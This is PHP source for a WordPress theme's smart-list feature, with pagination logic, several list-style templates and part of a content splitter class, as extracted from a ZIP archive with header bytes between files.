		$list_items = $this->add_numbers_to_list_items( $list_items );

		if ( $this->use_pagination === true ) {

			$current_page = $this->get_current_page( $list_items );

			return $this->render( $list_items, $current_page );
		} else {
			return $this->render( $list_items );
		}

	}


	private function add_numbers_to_list_items( $list_items ) {

		$total_items_number = count( $list_items['list_items'] ) - 1 + $this->counting_start; // fix for 0 base counting (0 of 3 - to -  3 of 3)

		foreach ( $list_items['list_items'] as $list_item_key => &$list_item ) {

			if ( $this->counting_order_asc === true ) {
				$current_item_index = $list_item_key + $this->counting_start;
			} else {
				$current_item_index = $total_items_number - ( $list_item_key );
			}

			$list_item['current_item_number'] = $current_item_index;
			$list_item['total_items_number']  = $total_items_number;
		}

		return $list_items;
	}

	private function render( $list_items, $current_page = false ) {


		$this->list_items = $list_items;

		$content = '';

		if ( ! empty( $list_items['before_list'] ) ) {
			$content .= implode( '', $list_items['before_list'] );
		}

		$content .= $this->render_before_list_wrap();  //from child class

		if ( $current_page === false ) {
			foreach ( $list_items['list_items'] as $list_item_key => $list_item ) {
				$content .= $this->render_list_item( $list_item, $list_item_key + 1, $list_item['current_item_number'], $list_item['total_items_number'] );
			}
		} else {

			$array_id_from_paged = $current_page - 1;
			$content             .= $this->render_list_item(
				$list_items['list_items'][ $array_id_from_paged ],
				$array_id_from_paged,
				$list_items['list_items'][ $array_id_from_paged ]['current_item_number'],
				$list_items['list_items'][ $array_id_from_paged ]['total_items_number']
			);
		}

		$content .= $this->render_after_list_wrap();

		if ( ! empty( $list_items['after_list'] ) ) {
			$content .= implode( '', $list_items['after_list'] );
		}

		return $content;
	}

	protected function callback_render_pagination() {


		$content = '';

		$current_page = $this->get_current_page( $this->list_items );
		$total_pages  = count( $this->list_items['list_items'] );

		if ( $total_pages == 1 ) {
			return '';
		}

		if ( $current_page == 1 ) {
			$content .= '<div class="pcsml-pagination">';
			$content .= '<span class="pcsml-button pcsm-back pcsm-disable"><i class="penciicon-left-chevron"></i>' . penci_get_setting( 'penci_trans_back' ) . '</span>';
			$content .= '<a class="pcsml-button pcsm-next" rel="next" href="' . $this->_wp_link_page( $current_page + 1 ) . '">' . penci_get_setting( 'penci_trans_next' ) . '<i class="penciicon-right-chevron"></i></a>';
			$content .= '</div>';
		} elseif ( $current_page == $total_pages ) {
			$content .= '<div class="pcsml-pagination">';
			$content .= '<a class="pcsml-button pcsm-back" rel="prev" href="' . $this->_wp_link_page( $current_page - 1 ) . '"><i class="penciicon-left-chevron"></i>' . penci_get_setting( 'penci_trans_back' ) . '</a>';
			$content .= '<span class="pcsml-button pcsm-next pcsm-disable">' . penci_get_setting( 'penci_trans_next' ) . '<i class="penciicon-right-chevron"></i></span>';
			$content .= '</div>';
		} else {
			$content .= '<div class="pcsml-pagination">';
			$content .= '<a class="pcsml-button pcsm-back" rel="prev" href="' . $this->_wp_link_page( $current_page - 1 ) . '"><i class="penciicon-left-chevron"></i>' . penci_get_setting( 'penci_trans_back' ) . '</a>';
			$content .= '<a class="pcsml-button pcsm-next" rel="next" href="' . $this->_wp_link_page( $current_page + 1 ) . '">' . penci_get_setting( 'penci_trans_next' ) . '<i class="penciicon-right-chevron"></i></a>';
			$content .= '</div>';
		}

		return $content;
	}


	protected function callback_render_drop_down_pagination() {
		$content = '';


		$current_page = $this->get_current_page( $this->list_items );
		$total_pages  = count( $this->list_items['list_items'] );

		if ( $total_pages == 1 ) {
			return '';
		}


		$content .= '<div class="pcsml-dropdown-wrap">';


		if ( $current_page == 1 ) {
			$content .= '<span class="pcsml-button pcsm-back pcsm-disable"><i class="penciicon-left-chevron"></i><span>' . penci_get_setting( 'penci_trans_back' ) . '</span></span>';
		} else {
			$content .= '<a class="pcsml-button pcsm-back" href="' . $this->_wp_link_page( $current_page - 1 ) . '"><i class="penciicon-left-chevron"></i><span>' . penci_get_setting( 'penci_trans_back' ) . '</span></a>';
		}


		$content .= '<div class="pcsml-container"><select class="pcsml-dropdown">';
		foreach ( $this->list_items['list_items'] as $index => $list_item ) {
			$list_item_page_nr = $index + 1;
			$selected          = '';

			if ( $current_page == $list_item_page_nr ) {
				$selected = 'selected';
			}

			$content .= '<option ' . $selected . ' value="' . esc_attr( $this->_wp_link_page( $list_item_page_nr ) ) . '">' . $list_item['current_item_number'] . ' - ' . $list_item['title'] . '</option>';
		}
		$content .= '<select></div>';


		if ( $current_page == $total_pages ) {
			$content .= '<span class="pcsml-button pcsm-next pcsm-disable"><span>' . penci_get_setting( 'penci_trans_next' ) . '</span><i class="penciicon-right-chevron"></i></span>';
		} else {
			$content .= '<a class="pcsml-button pcsm-next" href="' . $this->_wp_link_page( $current_page + 1 ) . '"><span>' . penci_get_setting( 'penci_trans_next' ) . '</span><i class="penciicon-right-chevron"></i></a>';
		}


		$content .= '</div>';

		return $content;
	}

	private function get_current_page( $list_items ) {

		$current_page = get_query_var( 'list' );

		if ( empty( $current_page ) ) {
			return 1;
		}

		$total_pages = count( $list_items['list_items'] );
		if ( $current_page > $total_pages ) {
			$current_page = $total_pages;
		}

		return $current_page;
	}

	public function _wp_link_page( $i ) {

		$url = get_permalink();

		if ( 1 < $i ) {
			$url = add_query_arg( [ 'list' => $i ], $url );
		}

		return esc_url( $url );
	}

	protected function render_before_list_wrap() {
		return '';
	}

	protected function render_after_list_wrap() {
		return '';
	}

	function get_formatted_list_items( $smart_list_settings ) {
		$this->counting_order_asc          = $smart_list_settings['counting_order_asc'];
		$penci_tokenizer                   = new Penci_Splitter();
		$penci_tokenizer->list_title_start = $smart_list_settings['penci_smart_list_h'];
		$penci_tokenizer->list_title_end   = $smart_list_settings['penci_smart_list_h'];


		$list_items = $penci_tokenizer->split_to_list_items( array(
				'content'             => $smart_list_settings['post_content'],
				'extract_first_image' => $smart_list_settings['extract_first_image']
			)
		);

		if ( empty( $list_items['list_items'] ) ) {
			return $smart_list_settings['post_content'];
		}

		return $this->add_numbers_to_list_items( $list_items );
	}

}PK     N\VD    /  inc/smartlists/templates/penci_smartlists_5.phpnu [        <?php


class Penci_SmartLists_Style_5 extends Penci_SmartLists {
	protected $use_pagination = true; // set this to true to use rela pagination on this template
	protected $atts = array();

	function __construct( $atts ) {
		$this->atts = $atts;
	}


	protected function render_before_list_wrap() {
		return '<div class="pcsml_style_5">';
	}


	protected function render_list_item( $item_array, $current_item_id, $current_item_number, $total_items_number ) {

		$content = '';

		//creating each slide
		$content .= '<div class="pcsml-item">';

		$content .= '<div class="pcsml-head">';
		// render the pagination
		$content .= $this->callback_render_pagination();

		$sm_title_tag = isset( $this->atts['sm_title_tag'] ) && $this->atts['sm_title_tag'] ? esc_attr( $this->atts['sm_title_tag'] ) : apply_filters( 'sm_title_tag', 'h2' );
		$content      .= '<' . $sm_title_tag . '><span class="pcsml-item-title">' . $current_item_number . '. ' . $item_array['title'] . '</span></' . $sm_title_tag . '>';
		$content      .= '</div>';


		//adding description
		if ( ! empty( $item_array['description'] ) ) {
			$item_array['description'] = preg_replace( '/<(div)\b([^>]*?)(attachment_' . $item_array['first_img_id'] . ')([^>]*?)>(.*?)<\/div>/', '', $item_array['description'] );
			$content                   .= '<div class="pcsml-desc">' . $item_array['description'] . '</div>';
		}


		// ad smart list
		$content .= $this->atts['sm_ad'];


		//get image link target
		$first_img_link_target = $item_array['first_img_link_target'];

		//image type and width
		$first_image_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
		if ( isset( $this->atts['first_image_size'] ) && $this->atts['first_image_size'] != '' ) {
			$first_image_size = $this->atts['first_image_size'];
		}

		if ( isset( $this->atts['first_image_msize'] ) && $this->atts['first_image_msize'] != '' && penci_is_mobile() ) {
			$first_image_size = $this->atts['first_image_msize'];
		}

		$first_img_src = wp_get_attachment_image_url( $item_array['first_img_id'], $first_image_size );

		$first_img_info = wp_get_attachment_image_src( $item_array['first_img_id'], $first_image_size );

		//image caption
		$first_img_caption = $item_array['first_img_caption'];

		//image alt
		$first_img_alt = get_post_meta( $item_array['first_img_id'], '_wp_attachment_image_alt', true );

		if ( ! empty( $first_img_info[0] ) ) {

			// class used by magnific popup
			$smart_list_lightbox = " penci-lightbox";

			// if a custom link is set use it
			if ( ! empty( $item_array['first_img_link'] ) && $first_img_src != $item_array['first_img_link'] ) {
				$first_img_src = $item_array['first_img_link'];

				// remove the magnific popup class for custom links
				$smart_list_lightbox = "";
			}

			if ( $this->atts['disablelazy'] ) {
				$img_html = '<img src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			} else {
				$image_width  = $first_img_info[1];
				$image_height = $first_img_info[2];
				$img_html     = '<img width="' . $image_width . '" height="' . $image_height . '" class="penci-lazy" src="' . penci_holder_image_base( $image_width, $image_height ) . '" data-src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			}

			$content .= '
                            <figure class="pcsml-figure pcsml-slide-7' . $smart_list_lightbox . '">
                                <a class="pcsml-image-link" href="' . $first_img_src . '" data-caption="' . esc_attr( $first_img_caption, ENT_QUOTES ) . '" ' . $first_img_link_target . ' >
                                    ' . $img_html . '
                                </a>
                            </figure>
                            <figcaption class="pcsml-caption"><div>' . $first_img_caption . '</div></figcaption>
                            ';
		}

		$content .= '</div>';

		// render the pagination
		$content .= $this->callback_render_pagination();

		return $content;
	}


	protected function render_after_list_wrap() {
		return '</div>';
	}


}PK     N\c  c  /  inc/smartlists/templates/penci_smartlists_1.phpnu [        <?php


class Penci_SmartLists_Style_1 extends Penci_SmartLists {
	protected $atts = array();

	function __construct( $atts ) {
		$this->atts = $atts;
	}

	protected function render_before_list_wrap() {
		return '<div class="pcsml_style_1">';
	}


	protected function render_list_item( $item_array, $current_item_id, $current_item_number, $total_items_number ) {

		$sm_title_tag = isset( $this->atts['sm_title_tag'] ) && $this->atts['sm_title_tag'] ? esc_attr( $this->atts['sm_title_tag'] ) : apply_filters( 'sm_title_tag', 'h2' );

		$content = '';

		//creating each slide
		$content .= '<div class="pcsml-item">';

		//get the title
		$smart_list_1_title = '';
		if ( ! empty( $item_array['title'] ) ) {
			$smart_list_1_title = $item_array['title'];
		}

		$content .= '<div class="pcsml-title-wrapper">';
		$content .= '<' . $sm_title_tag . '>';
		$content .= '<div class="pcsml-item-number"><span>' . $current_item_number . '</span></div>';
		$content .= '<span class="pcsml-item-title">' . $smart_list_1_title . '</span>';
		$content .= '</' . $sm_title_tag . '>';
		$content .= '</div>';


		//get image link target
		$first_img_link_target = $item_array['first_img_link_target'];

		//image type and width
		$first_image_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
		if ( isset( $this->atts['first_image_size'] ) && $this->atts['first_image_size'] != '' ) {
			$first_image_size = $this->atts['first_image_size'];
		}

		if ( isset( $this->atts['first_image_msize'] ) && $this->atts['first_image_msize'] != '' && penci_is_mobile() ) {
			$first_image_size = $this->atts['first_image_msize'];
		}

		//get image src

		$first_img_info = wp_get_attachment_image_src( $item_array['first_img_id'], $first_image_size );

		//image caption
		$first_img_caption = $item_array['first_img_caption'];
		$first_img_caption = $first_img_caption ? $first_img_caption : wp_get_attachment_caption( $item_array['first_img_id'] );
		//image alt
		$first_img_alt = get_post_meta( $item_array['first_img_id'], '_wp_attachment_image_alt', true );

		if ( ! empty( $first_img_info[0] ) ) {

			// class used by magnific popup
			$smart_list_lightbox = " penci-lightbox";

			// if a custom link is set use it
			if ( ! empty( $item_array['first_img_link'] ) ) {

				// remove the magnific popup class for custom links
				$smart_list_lightbox = "";
			}

			if ( $this->atts['disablelazy'] ) {
				$img_html = '<img src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			} else {
				$image_width  = $first_img_info[1];
				$image_height = $first_img_info[2];
				$img_html     = '<img width="' . $image_width . '" height="' . $image_height . '" class="penci-lazy" src="' . penci_holder_image_base( $image_width, $image_height ) . '" data-src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			}

			$content .= '
                        <figure class="pcsml-figure pcsml-slide-2' . $smart_list_lightbox . '">
                            <a class="pcsml-image-link" href="' . $first_img_info[0] . '" data-caption="' . esc_attr( $first_img_caption, ENT_QUOTES ) . '" ' . $first_img_link_target . ' >
                                ' . $img_html . '
                            </a>
                        </figure>
                        <figcaption class="pcsml-caption"><div>' . $first_img_caption . '</div></figcaption>
                        ';
		}


		//adding description
		if ( ! empty( $item_array['description'] ) ) {
			$item_array['description'] = preg_replace( '/<(div)\b([^>]*?)(attachment_' . $item_array['first_img_id'] . ')([^>]*?)>(.*?)<\/div>/', '', $item_array['description'] );
			$content                   .= '<div class="pcsml-desc">' . $item_array['description'] . '</div>';
		}

		$content .= '</div>';

		return $content;
	}


	protected function render_after_list_wrap() {
		return '</div>';
	}
}PK     N\K([U    /  inc/smartlists/templates/penci_smartlists_3.phpnu [        <?php


class Penci_SmartLists_Style_3 extends Penci_SmartLists {
	protected $atts = array();

	function __construct( $atts ) {
		$this->atts = $atts;
	}

	protected function render_before_list_wrap() {
		return '<div class="pcsml_style_3">';
	}


	protected function render_list_item( $item_array, $current_item_id, $current_item_number, $total_items_number ) {

		$content = '';

		//creating each slide
		$content .= '<div class="pcsml-item">';

		//get image link target
		$first_img_link_target = $item_array['first_img_link_target'];

		//image type and width
		$first_image_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
		if ( isset( $this->atts['first_image_size'] ) && $this->atts['first_image_size'] != '' ) {
			$first_image_size = $this->atts['first_image_size'];
		}

		if ( isset( $this->atts['first_image_msize'] ) && $this->atts['first_image_msize'] != '' && penci_is_mobile() ) {
			$first_image_size = $this->atts['first_image_msize'];
		}

		$first_img_src = wp_get_attachment_image_url( $item_array['first_img_id'], $first_image_size );

		$first_img_info = wp_get_attachment_image_src( $item_array['first_img_id'], $first_image_size );

		//image caption
		$first_img_caption = $item_array['first_img_caption'];

		//image alt
		$first_img_alt = get_post_meta( $item_array['first_img_id'], '_wp_attachment_image_alt', true );

		if ( ! empty( $first_img_info[0] ) ) {

			// class used by magnific popup
			$smart_list_lightbox = " penci-lightbox";

			// if a custom link is set use it
			if ( ! empty( $item_array['first_img_link'] ) && $first_img_src != $item_array['first_img_link'] ) {
				$first_img_src = $item_array['first_img_link'];

				// remove the magnific popup class for custom links
				$smart_list_lightbox = "";
			}

			if ( $this->atts['disablelazy'] ) {
				$img_html = '<img src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			} else {
				$image_width  = $first_img_info[1];
				$image_height = $first_img_info[2];
				$img_html     = '<img width="' . $image_width . '" height="' . $image_height . '" class="penci-lazy" src="' . penci_holder_image_base( $image_width, $image_height ) . '" data-src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			}

			$content .= '
                <div class="pcsml-figure-wrapper">
                        <figure class="pcsml-figure pcsml-slide-5' . $smart_list_lightbox . '">
                        <div class="pcsml-item-number"><span>' . $current_item_number . '</span></div>
                            <a class="pcsml-image-link" href="' . $first_img_src . '" data-caption="' . esc_attr( $first_img_caption, ENT_QUOTES ) . '" ' . $first_img_link_target . ' >
                                ' . $img_html . '
                            </a>
                        </figure>
                        <figcaption class="pcsml-caption"><div>' . $first_img_caption . '</div></figcaption>
                </div>
                        ';
		}


		//get the title
		$smart_list_3_title = '';
		if ( ! empty( $item_array['title'] ) ) {
			$smart_list_3_title = $item_array['title'];
		}
		//title
		$sm_title_tag = 'h2';
		if ( isset( $this->atts['sm_title_tag'] ) ) {
			$sm_title_tag = esc_attr( $this->atts['sm_title_tag'] );
		}
		$content .= '<div class="pcsml-title-wrapper"><' . $sm_title_tag . ' class="pcsml-item-title">' . $smart_list_3_title . '</' . $sm_title_tag . '></div>';


		//adding description
		if ( ! empty( $item_array['description'] ) ) {
			$item_array['description'] = preg_replace( '/<(div)\b([^>]*?)(attachment_' . $item_array['first_img_id'] . ')([^>]*?)>(.*?)<\/div>/', '', $item_array['description'] );
			$content                   .= '<div class="pcsml-desc">' . $item_array['description'] . '</div>';
		}

		$content .= '</div>';

		return $content;
	}


	protected function render_after_list_wrap() {
		return '</div>';
	}
}PK     N\_Ղ    /  inc/smartlists/templates/penci_smartlists_6.phpnu [        <?php


class Penci_SmartLists_Style_6 extends Penci_SmartLists {
	protected $use_pagination = true; // set this to true to use rela pagination on this template
	protected $atts = array();

	function __construct( $atts ) {
		$this->atts = $atts;
	}


	protected function render_before_list_wrap() {
		return '<div class="pcsml_style_6">';
	}


	protected function render_list_item( $item_array, $current_item_id, $current_item_number, $total_items_number ) {

		$sm_title_tag = isset( $this->atts['sm_title_tag'] ) && $this->atts['sm_title_tag'] ? esc_attr( $this->atts['sm_title_tag'] ) : apply_filters( 'sm_title_tag', 'h2' );

		$content = '';

		//get image link target
		$first_img_link_target = $item_array['first_img_link_target'];

		//image type and width
		$first_image_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
		if ( isset( $this->atts['first_image_size'] ) && $this->atts['first_image_size'] != '' ) {
			$first_image_size = $this->atts['first_image_size'];
		}

		if ( isset( $this->atts['first_image_msize'] ) && $this->atts['first_image_msize'] != '' && penci_is_mobile() ) {
			$first_image_size = $this->atts['first_image_msize'];
		}

		$first_img_src = wp_get_attachment_image_url( $item_array['first_img_id'], $first_image_size );

		$first_img_info = wp_get_attachment_image_src( $item_array['first_img_id'], $first_image_size );

		//image caption
		$first_img_caption = $item_array['first_img_caption'];

		//image alt
		$first_img_alt = get_post_meta( $item_array['first_img_id'], '_wp_attachment_image_alt', true );

		// render the pagination
		$content .= $this->callback_render_drop_down_pagination();

		// ad smart list
		$content .= $this->atts['sm_ad'];

		//creating each slide
		$content .= '<div class="pcsml-item">';
		$content .= '<div class="pcsml-title-wrapper"><' . $sm_title_tag . '><span class="pcsml-item-title">' . $item_array['title'] . '</span></' . $sm_title_tag . '></div>';


		if ( ! empty( $first_img_info[0] ) ) {

			// class used by magnific popup
			$smart_list_lightbox = " penci-lightbox";

			// if a custom link is set use it
			if ( ! empty( $item_array['first_img_link'] ) && $first_img_src != $item_array['first_img_link'] ) {
				$first_img_src = $item_array['first_img_link'];

				// remove the magnific popup class for custom links
				$smart_list_lightbox = "";
			}

			if ( $this->atts['disablelazy'] ) {
				$img_html = '<img src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			} else {
				$image_width  = $first_img_info[1];
				$image_height = $first_img_info[2];
				$img_html     = '<img width="' . $image_width . '" height="' . $image_height . '" class="penci-lazy" src="' . penci_holder_image_base( $image_width, $image_height ) . '" data-src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			}

			$content .= '
                            <figure class="pcsml-figure pcsml-slide-7' . $smart_list_lightbox . '">
                                <a class="pcsml-image-link" href="' . $first_img_src . '" data-caption="' . esc_attr( $first_img_caption, ENT_QUOTES ) . '" ' . $first_img_link_target . ' >
                                    ' . $img_html . '
                                </a>
                            </figure>
                            <figcaption class="pcsml-caption"><div>' . $first_img_caption . '</div></figcaption>
                            ';
		}

		//adding description
		if ( ! empty( $item_array['description'] ) ) {
			$item_array['description'] = preg_replace( '/<(div)\b([^>]*?)(attachment_' . $item_array['first_img_id'] . ')([^>]*?)>(.*?)<\/div>/', '', $item_array['description'] );
			$content                   .= '<div class="pcsml-desc">' . $item_array['description'] . '</div>';
		}


		$content .= '</div>';

		// render the pagination
		$content .= $this->callback_render_drop_down_pagination();

		return $content;
	}


	protected function render_after_list_wrap() {
		return '</div>';
	}


}PK     N\"}ȣ    /  inc/smartlists/templates/penci_smartlists_2.phpnu [        <?php


class Penci_SmartLists_Style_2 extends Penci_SmartLists {
	protected $atts = array();

	function __construct( $atts ) {
		$this->atts = $atts;
	}

	protected function render_before_list_wrap() {
		return '<div class="pcsml_style_2">';
	}


	protected function render_list_item( $item_array, $current_item_id, $current_item_number, $total_items_number ) {

		$sm_title_tag = isset( $this->atts['sm_title_tag'] ) && $this->atts['sm_title_tag'] ? esc_attr( $this->atts['sm_title_tag'] ) : apply_filters( 'sm_title_tag', 'h2' );

		$content = '';

		//creating each slide
		$content .= '<div class="pcsml-item">';

		//get the title
		$smart_list_2_title = '';
		if ( ! empty( $item_array['title'] ) ) {
			$smart_list_2_title = $item_array['title'];
		}

		//adding description
		if ( ! empty( $item_array['description'] ) ) {

			$item_array['description'] = preg_replace( '/<(div)\b([^>]*?)(attachment_' . $item_array['first_img_id'] . ')([^>]*?)>(.*?)<\/div>/', '', $item_array['description'] );

			$content .= '<div class="pcsml-info">';
			$content .= '<div class="pcsml-title-wrapper">';
			$content .= '<' . $sm_title_tag . '>';
			$content .= '<div class="pcsml-item-number"><span>' . $current_item_number . '</span></div>';
			$content .= '<span class="pcsml-item-title">' . $smart_list_2_title . '</span>';
			$content .= '</' . $sm_title_tag . '>';
			$content .= '</div>';

			$content .= '<div class="pcsml-desc">' . $item_array['description'] . '</div>';
			$content .= '</div>';
		}


		//get image link target
		$first_img_link_target = $item_array['first_img_link_target'];

		$first_image_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'thumbnail';
		if ( isset( $this->atts['first_image_size'] ) && $this->atts['first_image_size'] != '' ) {
			$first_image_size = $this->atts['first_image_size'];
		}

		if ( isset( $this->atts['first_image_msize'] ) && $this->atts['first_image_msize'] != '' && penci_is_mobile() ) {
			$first_image_size = $this->atts['first_image_msize'];
		}

		$first_img_src = wp_get_attachment_image_url( $item_array['first_img_id'], $first_image_size );

		$first_img_info = wp_get_attachment_image_src( $item_array['first_img_id'], $first_image_size );

		//image caption
		$first_img_caption = $item_array['first_img_caption'];

		//image alt
		$first_img_alt = get_post_meta( $item_array['first_img_id'], '_wp_attachment_image_alt', true );

		if ( ! empty( $first_img_info[0] ) ) {

			// class used by magnific popup
			$smart_list_lightbox = " penci-lightbox";

			// if a custom link is set use it
			if ( ! empty( $item_array['first_img_link'] ) && $first_img_src != $item_array['first_img_link'] ) {
				$first_img_src = $item_array['first_img_link'];

				// remove the magnific popup class for custom links
				$smart_list_lightbox = "";
			}

			if ( $this->atts['disablelazy'] ) {
				$img_html = '<img src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			} else {
				$image_width  = $first_img_info[1];
				$image_height = $first_img_info[2];
				$img_html     = '<img width="' . $image_width . '" height="' . $image_height . '" class="penci-lazy" src="' . penci_holder_image_base( $image_width, $image_height ) . '" data-src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			}

			$content .= '<div class="pcsml-figure-wrapper">';
			$content .= '<figure class="pcsml-figure' . $smart_list_lightbox . '">';
			$content .= '<a class="pcsml-image-link" href="' . $first_img_src . '" data-caption="' . $first_img_caption . '" ' . $first_img_link_target . '>';
			$content .= $img_html;
			$content .= '</a>';
			$content .= '</figure>';

			if ( ! empty( $first_img_caption ) ) {
				$content .= '<figcaption class="pcsml-caption"><div>' . $first_img_caption . '</div></figcaption>';
			}
			$content .= '</div>';
		}

		$content .= '</div>';

		return $content;
	}


	protected function render_after_list_wrap() {
		return '</div>';
	}
}PK     N\~X*    /  inc/smartlists/templates/penci_smartlists_4.phpnu [        <?php


class Penci_SmartLists_Style_4 extends Penci_SmartLists {
	protected $use_pagination = true;
	protected $atts = array();

	function __construct( $atts ) {
		$this->atts = $atts;
	}


	protected function render_before_list_wrap() {
		return '<div class="pcsml_style_4">';
	}


	protected function render_list_item( $item_array, $current_item_id, $current_item_number, $total_items_number ) {

		$sm_title_tag = isset( $this->atts['sm_title_tag'] ) && $this->atts['sm_title_tag'] ? esc_attr( $this->atts['sm_title_tag'] ) : apply_filters( 'sm_title_tag', 'h2' );


		$content = '';

		//creating each slide
		$content .= '<div class="pcsml-item">';

		$content .= '<div class="pcsml-title-wrapper">';
		$content .= '<' . $sm_title_tag . '>';
		$content .= '<div class="pcsml-item-number"><span>' . $current_item_number . '</span></div>';
		$content .= '<span class="pcsml-item-title">' . $item_array['title'] . '</span>';
		$content .= '</' . $sm_title_tag . '>';
		$content .= '</div>';

		//get image link target
		$first_img_link_target = $item_array['first_img_link_target'];

		//image type and width
		$first_image_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
		if ( isset( $this->atts['first_image_size'] ) && $this->atts['first_image_size'] != '' ) {
			$first_image_size = $this->atts['first_image_size'];
		}

		if ( isset( $this->atts['first_image_msize'] ) && $this->atts['first_image_msize'] != '' && penci_is_mobile() ) {
			$first_image_size = $this->atts['first_image_msize'];
		}

		$first_img_src = wp_get_attachment_image_url( $item_array['first_img_id'], $first_image_size );

		$first_img_info = wp_get_attachment_image_src( $item_array['first_img_id'], $first_image_size );

		//image caption
		$first_img_caption = $item_array['first_img_caption'];

		//image alt
		$first_img_alt = get_post_meta( $item_array['first_img_id'], '_wp_attachment_image_alt', true );

		if ( ! empty( $first_img_info[0] ) ) {


			// class used by magnific popup
			$smart_list_lightbox = " penci-lightbox";

			// if a custom link is set use it
			if ( ! empty( $item_array['first_img_link'] ) && $first_img_src != $item_array['first_img_link'] ) {
				$first_img_src = $item_array['first_img_link'];

				// remove the magnific popup class for custom links
				$smart_list_lightbox = "";
			}

			if ( $this->atts['disablelazy'] ) {
				$img_html = '<img src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			} else {
				$image_width  = $first_img_info[1];
				$image_height = $first_img_info[2];
				$img_html     = '<img width="' . $image_width . '" height="' . $image_height . '" class="penci-lazy" src="' . penci_holder_image_base( $image_width, $image_height ) . '" data-src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			}

			$content .= '
                            <figure class="pcsml-figure pcsml-slide-6' . $smart_list_lightbox . '">
                                <a class="pcsml-image-link" href="' . $first_img_src . '" data-caption="' . esc_attr( $first_img_caption, ENT_QUOTES ) . '" ' . $first_img_link_target . ' >
                                    ' . $img_html . '
                                </a>
                            </figure>
                            <figcaption class="pcsml-caption"><div>' . $first_img_caption . '</div></figcaption>
                            ';
		}

		// ad smart list
		$content .= $this->atts['sm_ad'];


		//adding description
		if ( ! empty( $item_array['description'] ) ) {
			$item_array['description'] = preg_replace( '/<(div)\b([^>]*?)(attachment_' . $item_array['first_img_id'] . ')([^>]*?)>(.*?)<\/div>/', '', $item_array['description'] );
			$content                   .= '<div class="pcsml-desc">' . $item_array['description'] . '</div>';
		}

		$content .= '</div>';


		// render the pagination
		$content .= $this->callback_render_pagination();

		return $content;
	}


	protected function render_after_list_wrap() {
		return '</div>';
	}


}PK     N\܅:      '  inc/smartlists/class_penci_splitter.phpnu [        <?php


class Penci_Splitter {

	var $list_title_start = 'h3';
	var $list_title_end = 'h3';
	private $list_title_is_open = false;
	private $list_penci_end_smartlists = false;


	private $current_list_item = array();

	private $content = array();


	function __construct() {
		$this->current_list_item = $this->get_empty_list_item();


	}


	function split_to_list_items( $params ) {

		$content             = $params['content'];
		$extract_first_image = $params['extract_first_image'];


		$img_regex = '';
		if ( $extract_first_image === true ) {
			$img_regex = "(<figure.*</figure>)|" .
			             "(<p>.*<a.*<img.*</a>.*</p>)|" .
			             "(<a.*<img.*</a>)|" .
			             "(<p>.*<img.*/>.*</p>)|" .
			             "(<div>.*<img.*/>.*</div>)|" .
			             "(<img.*/>)|";
		}


		$penci_magic_regex = $this->fix_regex(
			"(<$this->list_title_start.*?>)|" .
			"(</$this->list_title_end>)|" .
			$img_regex .
			"(<p>.*[.*penci_end_smartlists.*].*</p>)|" .
			"([.*penci_end_smartlists.*])" );

		$pc_splitter_lists = preg_split( '/' . $penci_magic_regex . '/', $content, - 1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY );

		$pc_splitter_lists = array_map( 'trim', $pc_splitter_lists );
		$pc_splitter_lists = array_filter( $pc_splitter_lists, 'strlen' );

		foreach ( $pc_splitter_lists as $list ) {

			if ( $this->is_title_open( $list ) ) {
			} elseif ( $this->is_content_after_smart_list( $list ) ) {
			} elseif ( $this->is_content_before_smart_list( $list ) ) {

			} elseif ( $this->is_title_close( $list ) ) {
			} elseif ( $this->is_title_text( $list ) ) {
			} elseif ( $extract_first_image === true and $this->is_first_image( $list ) ) {
			} elseif ( $this->is_smart_list_end( $list ) ) {
			} elseif ( $this->is_description( $list ) ) {
			}
		}

		if ( ! empty( $this->current_list_item['title'] ) ) {
			$this->buffy['list_items'][] = $this->current_list_item;
		}


		return $this->buffy;
	}


	private function get_empty_list_item() {
		return array(
			'title'                 => '',
			'first_img_id'          => '',
			'description'           => '',
			'read_more_link'        => '',
			'first_img_link'        => '',
			'first_img_link_target' => '',
			'first_img_caption'     => '',
		);
	}

	private function is_title_open( $token ) {
		$matches = array();
		preg_match( '/<' . $this->list_title_start . '.*?>/', $token, $matches );


		if ( ! empty( $matches ) && $this->list_penci_end_smartlists === false ) {
			$this->list_title_is_open = true;

			return true;
		} else {
			return false;
		}


	}

	private function is_title_close( $token ) {
		if ( $token == '</' . $this->list_title_end . '>' ) {
			$this->list_title_is_open = false; //make sure we change the h3 state

			return true;
		} else {
			return false;
		}
	}

	private function is_title_text( $token ) {
		if ( $this->list_title_is_open === true ) {


			if ( ! empty( $this->current_list_item['title'] ) ) {
				$this->buffy['list_items'][] = $this->current_list_item;
			}

			$this->current_list_item          = $this->get_empty_list_item();
			$this->current_list_item['title'] = $token;

			$this->list_title_is_open = false;

			return true;
		} else {
			return false;
		}
	}

	private function is_smart_list_end( $token ) {

		$matches = array();
		preg_match( '/\[.*penci_end_smartlists.*\]/', $token, $matches );

		if ( ! empty( $matches[0] ) ) {
